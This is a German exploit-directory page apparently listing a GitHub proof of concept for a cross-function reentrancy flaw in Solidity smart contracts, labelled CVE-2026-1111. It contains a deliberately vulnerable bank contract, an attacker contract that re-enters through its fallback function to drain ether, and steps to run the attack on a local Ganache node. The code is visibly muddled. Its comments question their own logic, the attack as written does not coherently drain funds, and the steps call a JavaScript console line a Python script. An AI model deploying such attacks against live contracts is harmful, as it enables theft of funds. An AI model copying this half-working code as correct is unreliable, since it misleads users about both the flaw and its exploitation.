Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — Beispiel für einen funktionsübergreifenden Reentrancy-Exploit für Smart Contracts, mit verwundbarem Solidity-Vertrag und Angreifer-Vertrag, der das Abziehen von Geldern durch Wiedereintritt über die Fallback-Funktion demonstriert. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
SchwachstellenanalyseExploitationLernen & Bildung
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Beispiel für einen funktionsübergreifenden Reentrancy-Exploit für Smart Contracts, mit verwundbarem Solidity-Vertrag und Angreifer-Vertrag, der das Abziehen von Geldern durch Wiedereintritt über die Fallback-Funktion demonstriert.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 17 TagenNoch nicht geprüft

CVE-2026-1111 – Funktionsübergreifende Reentrancy in Smart Contracts

Programmcode (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Funktionsübergreifende Reentrancy im Smart Contract

Severity: Critical

Übersicht

Ein Smart Contract verfügt über keinen globalen Reentrancy-Schutz, was es einem Angreifer ermöglicht, den Contract während eines withdraw-Aufrufs über eine andere Funktion erneut zu betreten, einen lokalen Schutz zu umgehen und Gelder abzuziehen.

Details zur Schwachstelle

  • Typ: Reentrancy
  • Auswirkung: Diebstahl aller gesperrten Ether.
  • Grundursache: Die Funktion withdraw aktualisiert den Kontostand nach einem externen Aufruf, und eine separate zustandsändernde Funktion (transferTo) kann reentrant aufgerufen werden, wodurch Kontostände manipuliert werden.

Exploit-Demonstration

  1. Starte einen lokalen Ethereum-Knoten (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Stelle VulnerableBank.sol und Attacker.sol mit Remix oder Truffle bereit.
  3. Führe den Angriff über das Python-Skript aus (simuliere mit der Remix-Konsole):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Tool herunterladen